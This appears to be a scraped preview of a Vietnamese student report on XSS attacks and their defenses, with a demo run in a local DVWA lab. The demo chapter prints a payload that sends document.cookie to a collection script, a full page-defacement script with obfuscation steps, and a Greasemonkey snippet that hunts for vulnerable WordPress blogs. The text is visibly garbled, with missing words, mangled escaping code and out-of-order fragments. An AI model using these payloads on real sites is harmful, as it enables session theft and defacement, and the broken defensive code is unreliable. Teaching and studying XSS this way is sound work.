TÌM HIỂU về tấn CÔNG XSS và CÁCH PHÒNG THỦ

73 895 3
TÌM HIỂU về tấn CÔNG XSS và CÁCH PHÒNG THỦ

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Ketnooi.com nghiệp giáo dục LỜI CẢM ƠN Lời đầu tiên, nhóm em xin gửi lời cảm ơn đến thầy cô Khoa Công Nghệ Thông Tin người dạy dỗ, bảo tận tâm chúng em suốt học kỳ vừa qua tạo điều kiện tốt cho chúng em thực đề tài Nhóm em xin gửi lời cảm ơn chân thành sâu sắc tới Thầy Nguyễn Đăng Quang, xin cảm ơn thầy tận tình bảo, hướng dẫn tạo điều kiện tốt để nhóm em hoàn thành đề tài Xin gửi lời cảm ơn tới người thân, người bạn trao đổi, giúp đỡ động viên chúng em nhiều suốt trình thực Tuy cố gắng nhiều khó tránh khỏi thiếu sót Kính mong quý thầy cô bạn đóng góp ý kiến để hoàn thiện đề tài Chúng em xin chân thành cảm ơn! Nhóm thực đề tài Nguyễn Văn Quý Nguyễn Ngọc Liệu Ketnooi.com nghiệp giáo dục MỤC LỤC MỤC LỤC .2 DANH MỤC HÌNH ẢNH .3 DANH MỤC BẢNG BIỂU DANH MỤC CÁC TỪ VIẾT TẮT .6 CHƯƠNG I: ĐẶT VẤN ĐỀ CHƯƠNG 2: NỘI DUNG 12 II Các phương thức công khai thác XSS 22 1.Giới thiệu chung 22 Các phương thức công XSS 22 III XSS Worms 52 Một số XSS Worm phổ biến 53 IV.Ngăn Chặn XSS 56 5.Web Browser’s Security 62 Chương III: Demo 64 Chương IV: Kết luận 69 Phụ lục: Bộ công cụ hỗ trợ 69 Ketnooi.com nghiệp giáo dục DANH MỤC HÌNH ẢNH Hình 1.1 Hoạt động website 10 Hình 2.1 Minh họa XSS 15 Hình 2.2 Mô tả trình công kiểu Non-Persistent 16 Hình 2.3 Mô tả trình công kiểu Persistent 17 Hình 2.4 Mô tả trình công Session Fixation 22 Hình 2.5 Mô tả trình công Session Hijacking 23 Hình 2.6 Giao diện JavaScript/CSS API sử dụng thuộc tính “getComputedStyle” để lấy thông tin duyệt web người dùng 26 Hình 2.7 Giao diện JavaScript Error Message Login Checker 27 Hình 2.8 Lỗi đăng nhập Gmail không hợp lệ từ người dùng 28 Hình 2.9 Minh họa trình công mạng nội 28 Hình 2.10 Quá trình thực XSS 34 Hình 2.11 Mô tả trang bị lỗi XSS 37 Hình 2.12 Kết công XSS Phising Ketnooi.com nghiệp giáo dục 40 Hình 2.13 Kết sử dụng Zombie Control lấy địa IP người dùng 45 Hình 2.14 Giao diện XSS Attack Library 46 Hình 2.15 Giao diện CheckList 47 Hình 2.16 Giao diện Encode/Decode 47 Hình 2.17 Giao diện làm việc HTTP Respone 49 Hình 2.18 Sự khác biệt XSS PayLoad Vulnerability Scanner 53 Hình 2.19 Quy trình làm việc XSS KeyLogger 53 Hình 2.20 Quy trình làm việc Executable Drive-by Downloader 54 Hình 2.21 Giao diện console XSS Cookie Thief 55 Hình 2.22 Testing website với Xenotix XSS Exploit Framework 55 Hình 2.23 Quá trình chuyển đổi bảng mã lọc ký tự 62 Hình 2.24 Một số chức thư viện HTML Purifier 63 Ketnooi.com nghiệp giáo dục DANH MỤC BẢNG BIỂU Bảng 2.1 Danh sách lỗ hổng XSS phát website số công ty lớn 35 Bảng 2.2 Một số port Atack 42 Bảng 2.3 Danh sách module BeEF 46 Bảng 2.4 AutoAttack AttackList 48 Bảng 2.5 Bảng so sánh thư viện filter HTML để chống XSS 62 Bảng 2.6 Danh sách phương pháp mã hóa đầu quan trọng cần thiết để ngăn chặn Cross Site Scripting 65 Ketnooi.com nghiệp giáo dục DANH MỤC CÁC TỪ VIẾT TẮT XSS Cross Site Scripting Ketnooi.com nghiệp giáo dục CHƯƠNG I: ĐẶT VẤN ĐỀ I Tổng quan Website Website tập hợp nhiều trang web – loại siêu văn ( tập tin dạng HTML XHTML) trình bày thông tin mạng Internet địa định để người xem truy cập vào xem Để cấu thành website cần có thành phần: - Tên miền (Domain): địa website Nơi lưu trữ website (Hosting) Nội dung trang thông tin (Webpage) Trang web người dùng truy cập đến từ tên miền gọi trang chủ (Homepage), sau người xem xem trang khác thông qua siêu liên kết (Hyperlinks) Đặc điểm chung Website: thông tin dễ dàng thay đổi, cập nhật, người dùng xem thông tin lập tức, nơi nào, vào lúc nào, không giới hạn phạm vi truy cập, số lượng truy cập Một Website thường chia làm phần: giao diện người dùng (front-end) phần để người dùng tương tác, thực thao tác mà mong muốn Ketnooi.com nghiệp giáo dục chương trình để Website hoạt động (back-end) – chương trình lập trình dựa loại ngôn ngữ riêng phục vụ cho yêu cầu xử lý xảy website lưu trữ máy chủ Hiện trang web chia làm hai loại: Web tĩnh Web động - - Web tĩnh lập trình ngôn ngữ HTML theo trang Brochure1, sở liệu công cụ quản lý thông tin website Cần phải biết kỹ thuật thiết kế trang web (thông thường phần mềm FrontPage, Dreamwaver, …) muốn thiết kế cập nhật thông tin trang web Đặc điểm thay đổi nội dung Web động có sở liệu, cung cấp công cụ quản lý webiste (Admon Tool) để cập nhật thông tin thường xuyên, quản lý thành phần website Loại website thường viết ngôn ngữ lập trình PHP, ASP.NET, JSP, Perl quản trị sở liệu SQL MySQL Hoạt động: Website hoạt động dựa nguyên lý: Hình 1.1 Hoạt động website Khi người dùng nhập địa vào tìm kiếm, DNS Server tiến hành phân giải tên miền thành địa IP trang web cần tìm kiếm Sau có địa IP, trình duyệt gửi yêu cầu đến nơi lưu trữ thông tin (Web server) thông qua phương thức GET POST giao thức HTTP Web server tiếp nhận yêu cầu từ web client xử lý gửi trả kết Web client nhận kết hiển thị lên hình cho người dùng xem Brochure: tập bao gồm tất thông tin trang Ketnooi.com nghiệp giáo dục Trong trình hoạt động trang web có firewall với chức xác thực quyền truy cập, quản lý điều khiển luồng liệu mạng, bảo vệ tài nguyên, ghi nhận báo cáo kiện, hoạt động thiết bị trung gian Tuy nhiên firewall có lỗ hổng trở thành mục tiêu số cho phương thức công vào bảo mật trang web Bảo mật Web a Khái niệm: Bảo mật giữ cho không bị xâm phạm, không bị lộ thông tin không mong muốn Bảo mật Web giữ cho thông tin, tài nguyên website hay người dùng tránh khỏi việc bị đánh cắp, tráo đổi hay gây sai lệch hacker b Tầm quan trọng bảo mật Web: Tính đến thời điểm tháng 12/2010 toàn giới có 255 triệu trang web Nói để thấy số lượng khổng lồ trang web Với 255 triệu trang web có lượng thông tin khổng lồ lưu trữ trang web Những trang web thuộc nhiều đối tượng, có tổ chức quyền, tập đoàn kinh tế lớn, cá nhân có ảnh hưởng, …Ví dụ, thông tin mật từ trang web phủ bị đánh cắp bị sử dụng vào mục đích khác nguy hiểm, hay thông tin khách hàng bao gồm: password, số tài khoản khách hàng ngân hàng bị đáng cắp ảnh hưởng lớn đến ngân hàng khách hàng Khi bị công vào bảo mật website có nguy sụp đổ, kéo theo ảnh hưởng lớn đến tổ chức hay cá nhân sở hữu website Trên hai ví dụ điển hình nguy hiểm website bị công, song hành với việc phát triển trang web qui mô vấn đề bảo mật vấn đề sống website Những loại công bảo mật phổ biến Hiện có nhiều loại công nhằm vào website, nhiên xét độ nguy hiểm phổ biến phân thành năm loại sau: - Bị lỗi bảo mật thông thường không cập nhật vá hệ điều hành Đây loại công mà có chút kiến thức bảo mật web thực Bị SQL Injection nhà lập trình web không trọng vào bảo mật lập trình cho trang web Đây loại công phổ biến nhất, nguyên nhân bị công trang web tạo mà lọc hay quy chuẩn http://vietnamlib.net/tin-tuc/hoat-dong-tttv-the-gioi/thong-ke-internet-the-gioi-nam-2010 Ketnooi.com nghiệp giáo dục - - - II để đảm bảo an toàn cho website, mặt khác code lấy từ nhiều nguồn mà không chọn lọc dẫn đến nguy nhiễm code độc Bị Cross Site Scripting (XSS) từ tiện ích Javascript không lọc đầu vào/ra Đây dạng công phổ biến website, hacker dùng kiểu công để truy cập với quyền người dùng đánh cắp thông tin người dùng XSS tương tự SQL Injection nằm tầng web kiểu công xoay quanh phương thức encoding URL cho đường dẫn Bị đánh cắp tên miền loại công mà đặc biệt phục vụ cho mục đích phá hoại Tính bảo mật tên miền phụ thuộc vào nhiều yếu tố bảo mật registrar, bảo mật hòm thư đăng ký tên miền, … Nếu hòm thư đăng ký tên miền bị nguy tên miền bị đánh cắp cao, cách tiến hành trình chủ yếu phishing XSS công vào người dùng nhẹ thiếu kiến thức để bảo vệ Bị công từ chối dịch vụ (DoS/DDoS) dạng công phổ biến thời gian gần Mục tiêu thường website mục tiêu thâm nhập, deface, xóa liệu…một cách nhanh chóng dễ dàng Cách thức mà hacker thường sử dụng: làm cạn kiệt tài nguyên nạn nhận (trên nhiều máy chủ) làm bão hòa đường truyền từ làm xảy lỗi dẫn đến server website từ chối yêu cầu từ người dùng gửi lên Hiện trạng “Thời gian gần đây, số lượng website Việt Nam bị công có chiều hướng gia tăng, đặc biệt hình thức công phổ biến thông qua hành động xâm nhập vào máy chủ (có số máy chủ chứa hàng trăm trang web), máy chủ bị công, trang web bị công theo Có thể kể đến trường hợp ngày 6/6, nhóm hacker có tên CmTr khai thác lỗ hổng server công vào 200 website tiếng Việt hay đêm ngày 3/7/2011, gần 200 website có tên miền vn, com, net nằm số server bị tin tặc hỏi thăm, có website Sở Tài tỉnh Bình Dương.” “Cuộc công từ chối dịch vụ có quy mô lớn từ trước tới nhằm vào tổ chức chống spam Spamhaus gây ảnh hưởng đến việc truy cập web nhiều người dùng số nơi giới Theo AP, Spamhaus, công ty Anh - Thụy Sĩ chuyên loại bỏ quảng cáo thuốc Viagra, thuốc giảm cân giả mạo khỏi hòm thư người dùng toàn cầu, phải hứng chịu công DDoS lớn từ tháng 3/2013 Vụ DDoS hướng tới Spamhaus tăng vọt lên tới 300 tỷ bit giây - quy mô đủ để đe dọa sở hạ tầng Internet khiến việc truy cập mạng người dùng bị chậm lại, không đơn số tổ chức "Đây vụ lớn biết đến lịch sử phát triển Internet", Patrick Gilmore công ty phân tích Akamai Technologies, cho hay http://www.baomoi.com/Bao-dong-tinh-trang-bao-mat-server/76/6602986.epi 10 Ketnooi.com nghiệp giáo dục Hình 2.23 Quá trình chuyển đổi bảng mã lọc ký tự Phần xin giới thiệu tới bạn thư viện viết PHP cho phép filter HTML để ngăn chặn kẻ xấu post mã độc XSS thông qua website Cách 1: Viết mã lọc nội dung theo nguyên tắc FIEO (Filter Input, Escape Output) Vì đoạn mã độc bắt đầu với “” kết thúc với “” Thay “” “>” “<” (các thực thể html) str_replace("","<", $info);str_replace("'","'",$info);str_replace(""",""",$info); str_replace("&","&",$info); Cách 2: XSS thường sử dụng javascript để gây hại, gắn link dùng lấy cắp Cookie, hacker không đơn gắn đoạn code đó, mà gắn chuỗi ngoằn ngèo javascript Bạn tạo file html paste code cung cấp http://ha.ckers.org/xss.html Ngoài sử dụng htmlspecialchars(), sau dùng html_entity_decode() để giải mã lại Ở xin giới thiệu đến bạn sử dụng framework zend thư viện HTML Purifier Website: http://htmlpurifier.org HTML Purifier: thư viện mạnh dùng triển khai code để chống XSS Được xây dựng theo mô hình OOP nên dễ sử dụng, sau thao tác include file thư viện, cần tạo instance đối tượng HTML Purifier gọi phương thức purify() filter liệu đầu vào PHP Code: Giờ paste đoạn mã độc XSS cung cấp http://ha.ckers.org/xss.html để tiến hành kiểm tra trình trước sau filter Input Encoding Một nhược điểm Input Encoding (mã hóa đầu vào) phải làm việc quy mô lớn Website, mặt khác dùng cố định bảng mã Có thể thấy tùy thuộc vào hoàn cảnh mà sử dụng mã hóa đầu 60 Ketnooi.com nghiệp giáo dục vào cho hợp lí nhất, Input Encoding thật có ý nghĩa biết xác liệu đầu vào, điều tương đối khó khăn môi trường có quy mô lớn Mã hóa đầu vào trở thành vị trí trung tâm cho tất lọc, đảm bảo có điểm cho tất lọc Lỗi XSS tránh máy chủ Web đảm bảo trang phát sinh mã hóa (encoding) thích hợp để ngăn chặn chạy script không mong muốn Mã hóa phía máy chủ tiến trình mà tất nội dung phát sinh động qua hàm mã hóa nơi mà thẻ script thay thể mã Nói chung, việc mã hóa (encoding) khuyến khích sử dụng không yêu cầu bạn phải đưa định kí tự hợp lệ không hợp lệ.Tuy nhiên việc mã hóa tất liệu không đáng tin cậy tốn tài nguyên ảnh hưởng đến khả thực thi số máy chủ Một cách hay sử dụng mã hoá kí tự đặc biệt trước in website, gây nguy hiểm cho người sử dụng Trong trường hợp thẻ script đổi thành script Như in hình mà không gây nguy hiểm cho người sử dụng Ví dụ: script search.cgi với mã nguồn: use CGI; my $cgi = CGI->new(); my $query = $cgi->param('query'); print $cgi->header(); print "You entered $query"; Đây script có lỗi in trực tiếp liệu nhập vào Khi in ra, in dạng đoạn mã HTML, không không in xác liệu vào cách trực quan mà có tiềm ẩn lỗi XSS Để giải vấn đề cần phải mã hoá kí tự đặc biệt HTML với hàm HTML::Entities::encode() Như có mã nguồn hoàn hảo hơn: #!/usr/bin/perl use CGI; use HTML::Entities; my $cgi = CGI->new(); my $text = $cgi->param('text'); print $cgi->header(); print "You entered ", HTML::Entities::encode($text); Phương pháp áp dụng ngôn ngữ Web Application khác (ASP, PHP ).Để kiểm tra việc lọc mã hoá liệu trước in ra, dùng 61 Ketnooi.com nghiệp giáo dục chương trình viết ngôn nhữ PHP, đặc biệt thiết kế để phòng chống lỗi XSS Có thể lấy mã nguồn chương trình từ http: // www.mricon.co /phpfilter.html Lọc mã hoá liệu cách tốt để chống XSS sử dụng mod_perl Apache Server dùng module Apache::TaintRequest Khi mã nguồn chương trình có dạng: use Apache::TaintRequest; my $apr = Apache::TaintRequest->new(Apache->request); my $text = $apr->param('text'); $r->content_type("text/html"); $r->send_http_header; $text =~ s/[^A-Za-z0-9 ]//; $r->print("You entered ", $text); Output Encoding Mục đích việc mã hóa đầu (vì liên quan Cross Site Scripting) chuyển đổi đầu vào không tin cậy vào hình thức an toàn, nơi đầu vào hiển thị liệu cho người sử dụng mà không thực trình duyệt Loại mã hóa HTML Entity Encoding Cơ chế mã hóa Convert&to& Convertto>Convert"to " Convert'to' Convert / to / HTML Attribute Ngoại trừ cho ký tự chữ số, lại loại bỏ Encoding định dạng HTML &#xHH, khoảng trắng URL Encoding Mã hóa theo tiêu chuẩn %, tham khảo http://www.w3schools.com/tags/ref_urlencode.asp JavaScript Encoding Ngoại trừ ký tự chữ số, lại loại bỏ định dạng \uxxx mã uniode CSS Hex Encoding CSS hỗ trợ loại bỏ ký tự có dạng \XX \XXXXXX Bảng 2.6 Danh sách phương pháp mã hóa đầu quan trọng cần thiết để ngăn chặn Cross Site Scripting Web Browser’s Security Lựa chọn trình duyệt: Lựa chọn trình duyệt có lẽ điều quan trọng để bảo vệ trực tuyến, người dùng thường quan tâm đến loại trình duyệt có tốc độ xử lý nhanh, giao diện thân thiện lại không để mắt tới tính bảo mật chúng Khi sử dụng trình duyệt để lướt Web cần phải quan tâm đến yếu tố bảo mật bảo vệ bạn tránh công mạng Hiện có số loại trình 62 Ketnooi.com nghiệp giáo dục duyệt có tính bảo mật tương đối cao update vá lỗi để nâng cao khả bảo mật như: Firefox, Chrome, Opera, Safari, Netscape f Thêm nhiều tính bảo mật vào trình duyệt: Có nhiều chương trình công cụ có sẵn để giúp trình duyệt bạn tự bảo vệ mình, tránh trang Web lừa đảo, vô hiệu hóa số tính không tốt, bảo vệ mật rơi vào tay kẻ xấu,… kể đến như: NoScript1 ( Firefox ), SafeHistory2 (Firefox), SafeCache3(Firefox), Netcraft Anti-Phishing Toolbar4 (Firefox/Internet Explorer), eBay Toolbar5(Internet Explorer) Google Toolbar6(Firefox/Internet Explorer) g Vô hiệu hóa số tính không cần thiết: Đơn giản cần bỏ số tính không cần thiết làm cho trình duyệt bạn an toàn JavaScript, Java, Active X, JScript, VBScript, Flash QuickTime tất chúng có khả gây nguy hiểm h Không nên nhấn vào liên kết không rõ ràng E-mail: Khi vào trang web cần phải cân nhắc click vào link, với email cần phải kiểm tra link hay hình ảnh quảng cáo thật kĩ Sẽ an toàn có cảnh giác cao Sử dụng máy ảo: Một giải pháp đưa chạy trình duyệt môi trường ảo hóa, an toàn Hiện có số công nghệ ảo hóa VMWare Microsoft giúp có môi trường chạy thử nghiệm thật an toàn Bảo vệ Web Mail: Hàng trăm triệu người sử dụng Web Mail với nhiều cách khác nhau, quan trọng bạn phải bảo mật tài khoản riêng bạn Nhiều người có tài khoản trực tuyến quan trọng gắn với địa Web mail Nếu chẳng may quyền truy cập vào tài khoản e-mail bạn, tất tài khoản liên quan khác bị tổn hại Điều tốt nên thay đổi mật theo khoảng thời gian không sử dụng mật đơn giản Cẩn thận với độ dài chuỗi URL: Khi duyệt Web hay sử dụng dịch vụ liên quan đên Web, để ý bạn nhận liên kết URLs có độ dài bất thường bên có chứa ký tự đặc biệt như: % , ’, @, #, $, &, (, … lúc bạn cần thật cẩn trọng nhấn vào liên kết đó, khả nhiễm mã độc từ liên kết cao 63 Ketnooi.com nghiệp giáo dục Chương III: Demo I Môi trường thử nghiệm Giới thiệu Đối với người bắt đầu nghiên cứu hacking, môi trường thử nghiệm quan trọng, nhiên để tìm môi trường thực tế, phù hợp với trình độ lại không đơn giản DVWA(Damn Vulnerable Web Application đáp ứng nhu cầu người bắt đầu có trình độ định DVWA framework xây dựng sẵn lỗ hổng bảo mật theo top 10 điểm yếu bảo mật Web OWASP Như DVWA ứng dụng web PHP/MySQL bị lỗi Mục tiêu giúp cho chuyên gia an ninh kiểm tra kỹ công cụ họ môi trường hợp pháp, giúp nhà phát triển web hiểu rõ trình bảo mật ứng dụng web Cài đặt Do framework php nên đơn giản xây dựng webserver chạy local XAMPP AppServer, sau copy source DVWA vào, sử dụng DVWA giao diện web II Các kỹ thuật công Kỹ thuật đánh cắp cookie qua XSS 1.1 Ý tưởng Khi người dùng đăng nhập sử dụng web, lúc thông tin cookie lưu giữ lại, attacker phát web site nhiểm lỗ hổng XSS, cách thực đoạn mã script để lấy thông tin người dùng 1.2 Kịch công Bước 1: Tạo file steal.php có nội dung sau 64 Ketnooi.com nghiệp giáo dục Bước : Upload file lên host Up lên host file steal.php log.ini Trong file steal.php có nội dung có nhiệm vụ đánh cắp cookie victim file log.ini file rỗng để lưu trữ toàn thông tin victim gửi thông qua lệnh file steal.php Lưu ý phải chmod file log.ini có quyền 777 Bước 3: Tìm site để upload file Ở sử dụng site cụ thể sau: http://192.168.1.3/dvwa/hackable/uploads/ Bước 4: Xác định vị trí lỗ hổng thực thi đoạn mã công, lỗ hổng xác định ô nhập liệu menu XSS Store Hình 3.1 Một textbox nhập liệu nơi bị lỗi XSS Bước 5: Thực đoạn mã công Sử dụng đoạn mã script sau để đánh cắp thông tin victim document.location="http://192.168.1.3/dvwa/hackable/uploads/s teal.php?c=" + document.cookie Bước 6: Kiểm tra file log.ini Truy xuất đến link http://192.168.1.3/dvwa/hackable/uploads/ để xem thông tin cookie nhận Bước 7: Sử dụng addon firfox cookie manager+, cookie editor, tamper data để login vào web với thông tin cookie có mà không cần phải đăng nhập 1.3 Một số hình ảnh công 65 Ketnooi.com nghiệp giáo dục Hình 3.2 Thực thi đoạn mã công Hình 3.3 Thông tin cookie đánh cắp lưu file log.ini Hình 3.4 Điền thông tin cookie nhận vào addon Edit Cookie để pass login Kỹ thuật Deface Website 2.1 Ý tưởng Dựa vào lỗ hổng XSS website, ta tiêm vào đoạn mã script có tác dụng làm thay đổi nội dung website, sử dụng file xss.js 1.jpg, xss.js có chứa câu lệnh để deface, 1.jpg file nội dung 2.2 Kịch công Bước 1: Tạo file deface có nội dung sau 66 Ketnooi.com nghiệp giáo dục var title=" Hacker S 2014"; var bgcolor="#000000"; var image_url="http://192.168.1.3/dvwa/hackable/uploads/1.jpg"; var text="Check by Ngoc Lieu"; var font_color="#FF0000"; deface(title, bgcolor, image_url, title, font_color); function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) { document.title=pageTitle; document.body.innerHTML= ' '; document.bgColor=bgColor; var overLay=document.createElement("div"); overLay.style.textAlign= 'center'; document.body.appendChild(overLay); var txt=document.createElement("p"); txt.style.font=' normal normal bold 36px Verdana'; txt.style.color=fontColor; txt.innerHTML=pageText; overLay.appendChild(txt); if(image_url != " ") { var newImg=document.createElement("img"); newImg.setAttribute("border", '0'); newImg.setAttribute("src", imageUrl); overLay.appendChild(newImg) } var footer=document.createElement("p"); footer.style.font=' italic normal normal 13px Arial '; footer.style.color='#DDDDDD'; footer.innerHTML=text; overLay.appendChild(footer) } Bước 2: Mã hóa file deface Tiến hành mã hóa file nhằm che dấu thông tin mã lệnh độc hại, sử dụng link sau http://www.weetools.com/index.php? page=html_encrypter Bước 3:Tạo tập tin xss.js Copy nội dung mã hóa vào tập tin xss.js hình sau 67 Ketnooi.com nghiệp giáo dục Hình 3.5 Nội dung file deface mã hóa Bước 4: Upload file xss.js 1.jpg lên host Upload file xss.js 1.jpg lên host http://192.168.1.3/dvwa/hackable/uploads/ Bước 5: Thực thi đoạn mã công 2.3 Một số hình ảnh công Hình 3.6 Thực thi đoạn mã công Hình 3.7 Website bị deface III Phương pháp phòng chống 68 Ketnooi.com nghiệp giáo dục Chương IV: Kết luận I Kết đạt Về mặt lý thuyết - Tìm hiểu đầy đủ sở lý thuyết XSS Phân loại loại công XSS Tìm hiểu áp dụng đầy đủ số kiểu phòng thủ công XSS Tìm hiểu thêm số loại sâu nguy hiểm Về mặt demo II Ưu, nhược điểm Ưu điểm - Tìm hiểu đầy đủ Trình bày rõ ràng Ví dụ cụ thể Mở rộng tìm hiểu thêm kiến thức liên quan Nhược điểm - Một số hình ảnh minh họa chưa rõ III Hướng phát triển - Tìm hiểu sâu mặt lý thuyết - Thực demo nhiều phương pháp quy mô lớn Phụ lục: Bộ công cụ hỗ trợ Acunetix Web Vulnerability Scanner Hình 1.a Logo Acunetix Web Vulnerability Scanner • Chức năng: Hacker tìm kiếm lỗi XSS ứng dụng web như: bán hàng trực tuyến, form, trang đăng nhập, nội dung động Sử dụng Acunetix Web Vulnerability Scanner để quét lỗi xảy Acunetix WVS tự động kiểm tra ứng dụng web, tìm lỗi XSS, SQL Injection, tìm lỗi code dẫn đến lỗi XSS, xác định file có lỗi XSS cho phép sửa chúng trước hacker phát 69 Ketnooi.com nghiệp giáo dục Acunetix WVS có nhiều tính kiểm tra mức độ bảo mật website, tự động truy cập quét SVN, cải tiến khả kiểm tra XSS sửa lỗi khác Acunetix kiểm tra lỗi ứng dụng web phổ biến joomla, PHPbb • Hướng dẫn cài đặt: Download gói phần mềm Run file webvulnscan8.exe Làm theo dẫn trình cài đặt • Sử dụng: gồm bảy bước Chọn website hay đích đến cần scan Thiết lập tùy chỉnh ( Scanning profile, Scan Settings template, Crawling Options) Xác nhận mục tiêu cách thức tiến hành Cấu hình password Xem lại thông số, tùy chỉnh cho trình scan Hoàn thành Grease Monkey Hình 1.b Logo Grease Monkey Add-on cho phép quản lý chạy đoạn script Firefox Khi mà add-on Firefox bất lực, lúc mà GreaseMonkey "Tỏa sáng" Nhờ có linh hoạt script, GreaseMonkey làm việc tưởng chừng "không thể" Cũng Firefox trở nên nhàm chán thiếu Add-on, sức mạnh thật GreaseMonkey từ đoạn script Một số ứng dụng như: Facebook Purity, TinyURL Decoder, Grease Lightbox, Google FX, Download Video từ Youtube Như nói đặc trưng Grease Monkey đoạn script người dùng tạo ra, sức mạnh yếu điểm để hacker “lành nghề” khai thác công trình duyệt người dùng 70 Ketnooi.com nghiệp giáo dục Cài đặt: Vào trang www.addons.mozilla.org, search Grease Monkey Click chọn sau chọn Install now Restart Firefox Sử dụng Để mở Grease Monkey làm theo hai cách: Tools -> Grease Monkey -> Manage user Script right-click lên biểu tượng khỉ statusbar chọn Manage user Script Đây giao diện làm việc chương trình Trong đó, bên trái hộp thoại script cài đặt, bên phải thông tin script URL liên quan không liên quan Tạo install script: Ví dụ: Tạo script làm thay đổi tiêu đề trang user tới thành Hello World! var h1s = document.body.getElementsByTagName('h1'); for (var i = 0; i < h1s.length; i++) h1s[i].innerHTML = 'Hello World!'; Lưu file thành hellowolrd.user.js Có hai cách tạo file user script: tạo trực tiếp browser tạo theo trình tự: Tools -> Grease Monkey -> Create Script Sau tạo xong file script, copy code từ file helloworld.user.js vào trang web mã hóa/giải mã Encode, sau thêm vào phía trước link vừa tạo đoạn sau: data:text/javascript;charset=utf-8, Và thêm vào cuối đoạn khác: //.user.js Sau copy paste vào addressbar -> Enter, trình duyệt hỏi lại việc installation, xác nhận install script Done Sau tìm hiểu cách dùng ta áp dụng Grease Monkey vào việc phát lỗ hổng bảo mật hay lỗi XSS website như: PstInterpreter XSS Asistant Một ví dụ cụ thể chức phát lỗ hổng Wordpress blogging software: var link = null; var links = document.getElementsByTagName('link'); if (!links) return; 71 Ketnooi.com nghiệp giáo dục // find the blog feed for (var i = 0; i < links.length; i++) if (links[i].type == 'application/rss+xml') {link = links[i];break;} // if a feed is found check whether it is Wordpress 2.0.6 if (link)GM_xmlhttpRequest({ method: 'GET', url: link.href,onload: function (response) {var r = new RegExp('wordpress/2.0.6', 'gi'); if (r.exec(response.responseText)) // vulnerable version is detected, ask for confirmation to run the exploit if (confirm('This blog is vulnerable to the Wordpress 2.0.6 Remote SQL Injection Do you want to exploit?')) // this is where the exploit should be placed alert('exploit in action');}}); Burp Hình 1.c Logo BurpSuite Professional Burp Suite tảng tích hợp dùng để thực việc kiểm tra an ninh cho web applications, bao gồm nhiều công cụ hỗ trợ từ việc khởi tạo phân chia, phân tích việc tìm kiếm, phát lỗ hổng Các chức chính: Tự động kiểm tra phát nhiều lỗ hổng web Kiểm tra, điều chỉnh đường trình duyệt ứng dụng Thực công mạnh mẽ đa dạng để tìm kiếm khai thác lỗ hổng Cho phép gửi nhận yêu cầu cá nhân Kiểm tra ngẫu nhiên hoạt động thẻ phiên Lưu phục hồi phiên làm việc dang dở Cho phép dễ dàng tạo trình cắm riêng để thực tasks Burp 72 Ketnooi.com nghiệp giáo dục Hoạt động: Cấu hình trình duyệt để Burp Suite hoạt động Proxy chạy port 8080 Đăng nhập vào trang cần thiết thông qua proxy cách chiếm quyền người dùng sau đăng nhập username, password attacker Lưu ý rằng, Burp cần cấu hình trước để từ chối yêu cầu gửi đến, mà tính kích hoạt gửi biểu mẫu đăng nhập cho intruder tool ( công cụ tự động tùy chỉnh công vào web application) Intruder tự động tạo payload position định nghĩa việc sử dụng ký tự sau thay ký tự hai ký tự liệu đầu vào attacker Sau ta tiến hành cấu hình intruder tool: cấu hình thông số bổ sung bao gồm chức grep, kích hoạt chế độ DOS, chọn cách mà Burp Suite xử lý chuyển hướng Trong ví dụ sử dụng chức grep để thực ví dụ đơn giản để xác định lỗ hổng bảo mật trang web Thực cách sử dụng file XML bao gồm username password để chứng thực người dùng, cho giá trị vào XPATH query, ứng dụng xác nhận giá trị XPATH tồn lỗ hổng bảo mật 73 [...]... quyết định thực hiện đề tài Tìm hiểu về tấn công XSS và cách phòng thủ với mục đích chính cho thấy các cách thức tấn công, sự nguy hiểm của tấn công XSS và cách phòng chống những kiểu tấn công trên 2 Phạm vi - Tìm hiểu tổng quan khái niệm về XSS - Tìm hiểu các phương thức tấn công - Tìm hiểu các biện pháp phòng chống - Giới thiệu một số công cụ hỗ trợ trong tấn công và phòng thủ 3 Phương pháp thực hiện... niệm tổng quan về XSS - Phân biệt và nhận dạng được những loại tấn công - Áp dụng những cách phòng thủ với từng kiểu tấn công - Thực hiện một số ví dụ minh họa quá trình tấn công và phòng thủ 4 http://www.quantrimang.com.vn/baomat/bao-mat/tin-bao-mat/94602_Internet-chap-chon-vi-vu-tan-congDDoS-lon-nhat-lich-su.aspx 11 Ketnooi.com vì sự nghiệp giáo dục CHƯƠNG 2: NỘI DUNG I Lý thuyết về XSS 1 Khái niệm... website bằng cách gắn một đoạn mã test vào web client để web client gửi đến web server và chờ phản hồi của web server để tìm ra lỗ hổng bảo mật Hacker tấn công dựa vào sự thiếu chú ý về việc lọc dữ liệu vào từ URL của webiste Hacker sẽ gắn thêm những đoạn mã độc vào đây và thực hiện hành vi tấn công website Loại tấn công này chỉ có tác dụng trong một lần b Persistent: Persistent (hay stored) XSS là một... người thực hiện phải hiểu rõ về hoạt động của website và có tính sáng tạo 4 Đối tượng mà XSS hướng tới XSS là một kiểu tấn công bảo mật rất phổ biến Đối tượng hướng đến là những webiste bảo mật sơ sài, viết bằng PHP, JavaScript, web động và những người dùng thiếu kiến thức về XSS Khi tấn công XSS có khả năng ảnh hưởng tới các site cho phép người dùng nhập dữ liệu vào như: các công cụ tìm kiếm Forms được... Hình 2.5 Mô tả quá trình tấn công bằng Session Hijacking Session Hijacking cũng là một kiểu tấn công nhằm lấy Sesion ID nhưng khác với kiểu tấn công ấn định phiên làm việc như đã nói ở trên, ở kiểu tấn công Session Hijacking này thực hiện tấn công vào trình duyệt của nạn nhân sau khi nạn nhân đã đăng nhập vào hệ thống Cách tấn công này sẽ chỉ giành được quyền truy cập một lần và không yêu cầu duy trì... gian và địa chỉ IP của người quản lý cho người dùng để giới hạn vùng vét cạn - Dùng đoạn mã để đánh cắp phiên làm việc: hacker có thể chèn một đoạn mã độc để lừa người dùng qua đó đánh cắp Session ID của người dùng, cách này thực hiện thông qua lỗi XSS Cách phòng chống: áp dụng tất cả các cách phòng chống của hai phương pháp tấn công Ấn định Session ID và tấn công XSS II Các phương thức của tấn công và. .. hiện qua ba cách: Tấn công Session ID trên tham số URL Tấn công Session ID bằng biến ẩn form 20 Ketnooi.com vì sự nghiệp giáo dục Tấn công Session ID trong cookie - Bước 3: Đột nhập vào phiên làm việc của nạn nhân bằng Session ID đánh cắp được Phòng chống: chỉ trên những ứng dụng web mới cần phòng chống lại kiểu tấn công này Cách 1: Chống việc đăng 